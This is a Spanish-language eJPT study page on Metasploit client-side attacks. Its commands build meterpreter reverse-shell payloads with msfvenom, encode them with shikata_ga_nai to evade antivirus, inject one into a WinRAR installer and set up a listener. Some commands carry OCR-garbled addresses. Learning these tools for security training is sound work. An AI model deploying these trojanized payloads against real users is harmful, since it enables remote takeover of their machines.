eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Generating Payloads With Msfvenom
  • Client-side Attacks
  • Msfvenom
  • Demo: Generating Payloads With Msfvenom
  • Quiz: Generating Payloads With Msfvenom
  • Encoding Payloads With Msfvenom
  • Shellcode
  • Demo: Encoding Payloads With Msfvenom
  • Quiz: Encoding Payloads With Msfvenom
  • Injecting Payloads Into Windows Portable Executables
  • Quiz: Injecting Payloads Into Windows Portable Executables
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: The Metasploit Framework (MSF)
  3. Client-Side Attacks

Payloads

Generating Payloads With Msfvenom

Client-side Attacks

Un ataque del lado del cliente es un vector de ataque que implica obligar a un cliente a ejecutar un payload malicioso en su sistema que, en consecuencia, se conecta nuevamente con el atacante cuando se ejecuta.

Los ataques del lado del cliente suelen utilizar diversas técnicas de ingeniería social, como generar documentos maliciosos o ejecutables portátiles (PE) tanto para sistemas Windows como Linux.

Los ataques del lado del cliente aprovechan las vulnerabilidades humanas en lugar de las vulnerabilidades en los servicios o el software que se ejecutan en el sistema de destino.

Dado que este vector de ataque implica la transferencia y el almacenamiento de un payload malicioso en el sistema (disco) del cliente, los atacantes deben ser conscientes de la detección de AV.

Msfvenom

Msfvenom es una utilidad de línea de comandos que se puede utilizar para generar y codificar payloads útiles de MSF para varios sistemas operativos y servidores web.

Msfvenom es una combinación de dos utilidades, a saber; msfpayload y msfencode.

Podemos usar Msfvenom para generar un payload de meterpreter malicioso que puede transferirse al sistema de destino de un cliente. Una vez ejecutado, se conectará nuevamente a nuestro controlador de payload y nos proporcionará acceso remoto al sistema de destino.

Demo: Generating Payloads With Msfvenom

# Dcoumentacion de msfvenom
msfvenom

# Listar Payloads
msfvenom --list payloads

# Commo esta formado el payload
# Ejemplo:
windows/X64/meterpreter/reverse_tcp

# windows: En esta seccion se define el tipo de SO
# X64: Se define la arquitectura
# meterpreter: Se especifica el tipo de payload 
# reverse_tcp: Se especifica el protocolo que se desea utilizar (ayudara a enmascar 
# la actividad)

# meterpreter_reverse_tcp:  Cuando estan con "_" se conoce como cargas no organizadas

# Crear un payload WINDOWS
# Donde LHOST y LPORT, es donde se comunicara el payload
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx86.exe

# Generar una carga util de x64
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=1Ø.1Ø.10.5 LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx64.exe

# Para identificar los formatos de salida que puede generar
msfvenom --list formats

# Crear un payload LINUX
# Payload X86
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -f elf > "Desktop/ Linux _ Payloads/payloadx86
# El archivo que genera solo es un script que a que darle permisos de ejecucion +x y ejecutarlo  con ./(filename)
# Payload X64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -f elf > ~/Desktop/Linux_Payloads/payloadx64
# Genera un binario o archivo ELF

Transferir un payload

# Ejecutar el siguiente desde el directorio don de se encuentra los payloads
sudo python -m SimpleHTTPServer 80

Configurar kali como oyente

#
msf6 > use multi/handler
# Windows
msf6 exploit(mutti/handter) > set payload windows/meterpreter/reverse_tcp
payload windows/meterpreter/reverse_tcp
msf6 exploit(mutti/hondter) > show options
msf6 exploit(mutti/handler) > set LHOST 10.10.10.5
msf6 exploit(multi/handler) > set LPORT 1234
# Linux 
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

Quiz: Generating Payloads With Msfvenom

Encoding Payloads With Msfvenom

Dado que este vector de ataque implica la transferencia y el almacenamiento de una carga útil maliciosa en el sistema del cliente (disco), los atacantes deben conocer la detección de AV.

La mayoría de las soluciones de AV para el usuario final utilizan la detección basada en firmas para identificar archivos o ejecutables maliciosos.

Podemos evadir las soluciones de AV basadas en firmas más antiguas codificando nuestras cargas útiles.

La codificación es el proceso de modificar el shellcod del payload con el objetivo de modificar la firma de la carga útil.

Shellcode

El shellcode (shell-code) es un fragmento de código que se utiliza normalmente como un payload para la explotación.

Su nombre proviene del término shell de comandos, en el que el shellcode es un fragmento de código que proporciona a un atacante un shell de comandos remoto en el sistema de destino.

Demo: Encoding Payloads With Msfvenom

# Los encoders se basaran en el SO y la Arquitectura
msfvenom -- list encoders

# De momento solo necesita saber que se utlizara los que estan categorizados como 
# excelente como shikata
# WINDOWS codificaremos un payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -f exe > "Desktop/Windows_Payloads/encodedx86.exe
# Mientras mas intraciones tengas, mas posibilidad de evadir el antiivrus tendra
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > ~/Desktop/Windows_Payloads/encodedx86. exe
# LINUX codificaremos un payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > ~/Desktop/Linux_Payloads/encodedx86

Quiz: Encoding Payloads With Msfvenom

Injecting Payloads Into Windows Portable Executables

# msfvenom nos permite expecificar una plantilla

# 1 Generamos el PAYLOAD
# 2 Injectamos el PAYLOAD -X
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -x 4Downloads/wrar6Ø2.exe > ~/Desktop/Windows_Payloads/winrar. exe

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 
msf6 exploit(multi/handler) > set LPORT
msf6 exploit(multi/handler) > run


# Despues de ejeutar y establecer conexion se recomienda ejecutar el siguiente comando
meterpreter > run post/windows/manage/migrate
# La opcion -k mantendra la ejecucion original del proceso/ejecutable, sin embargo
# cuando termine de ejecutar el ejecutable se ejecutar el payload\
# Sin embargo esto no funcionara para la mayoria de los ejecutables portatiles que existen
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -k -x ~/Downloads/wrar6Ø2.exe >       

Quiz: Injecting Payloads Into Windows Portable Executables

PreviousClient-Side AttacksNextAutomating

Last updated 3 months ago